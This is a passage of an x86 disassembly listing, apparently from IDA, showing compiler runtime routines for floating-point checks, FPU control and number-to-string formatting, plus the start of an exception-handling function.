ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_42141E fld dbl_43CF20 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43CF30 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_421446 fld dbl_43CF30 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43CF20 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43CF20 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB938, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB938, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43CE48 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43CF20 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43CE4C[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427880 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43CF48 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43CF48 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43CF54 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427890 fstp [ebp+var_8] fld dbl_427888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" call dword_42709C ; GetModuleHandleA test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_4270BC ; GetProcAddress test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43CBC4, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C9B8 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43CBC8 mov al, [esi] mov [esi], cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43CBC8 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; .packed:off_43CF70o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427880 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB9D0, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB9CC xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43CBC8 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB9D0, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB9D0, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB9D4 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB9CC cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43CBC8 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB9D0, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB9CC, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB9D4, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB9CC add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB9D4, ecx setl cl mov byte_4DB9D8, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB9D4, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB9D0, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB9D0, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB9D0, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB9D0, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: .packed:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp 